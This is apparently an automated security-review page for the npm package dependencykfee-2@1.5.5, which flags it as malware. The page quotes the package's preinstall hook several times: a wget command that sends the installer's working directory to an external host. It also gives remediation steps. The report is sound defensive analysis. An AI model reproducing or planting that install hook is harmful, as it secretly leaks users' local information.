dependencykfee-2@1.5.5
test
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe package's preinstall hook automatically sends the installer's current working directory to an external host. This is install-time data exfiltration.
Static reason
One or more suspicious static signals were detected.
Trigger
Package installation, when npm runs the preinstall script.
Impact
Exposes the installer's current directory, which can reveal local project or user information.
Mechanism
wget requests http://google.com/ with the output of pwd in the user query parameter.
Attack narrative
During installation, the preinstall hook sends the current working directory to google.com as a query parameter. This discloses local path information without the installer's consent.
AI rationale
The package's preinstall hook automatically sends the installer's current working directory to an external host. This is install-time data exfiltration.
Evidence
package.json
Network endpoints1
google.com/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The preinstall script automatically runs wget with the current working directory in a query parameter sent to http://google.com.
Evidence against
Behavioral surface
Source & flagged code
4 flaggedpackage.jsonView file
•scripts.preinstall = wget --quiet "http://google.com/?user=$(pwd)
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"preinstall": "wget --quiet \"http://google.com/?user=$(pwd)"
},
"dependencies": {},
"config": {
"unsafe-perm":tru
High
Ai Review Evidence
The preinstall script automatically runs wget with the current working directory in a query parameter sent to http://google.com.
package.jsonView on unpkg · L5•scripts.preinstall = wget --quiet "http://google.com/?user=$(pwd)
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpackage.json#scripts.preinstall
Findings
3 High1 Medium1 Low
HighInstall Time Lifecycle Scriptspackage.json
HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall
HighAi Review Evidencepackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
LowScripts Present
Affected versions and remediation
This report applies to dependencykfee-2@1.5.5.
See all versions of dependencykfee-2 for other recorded verdicts.
- Avoid installing dependencykfee-2@1.5.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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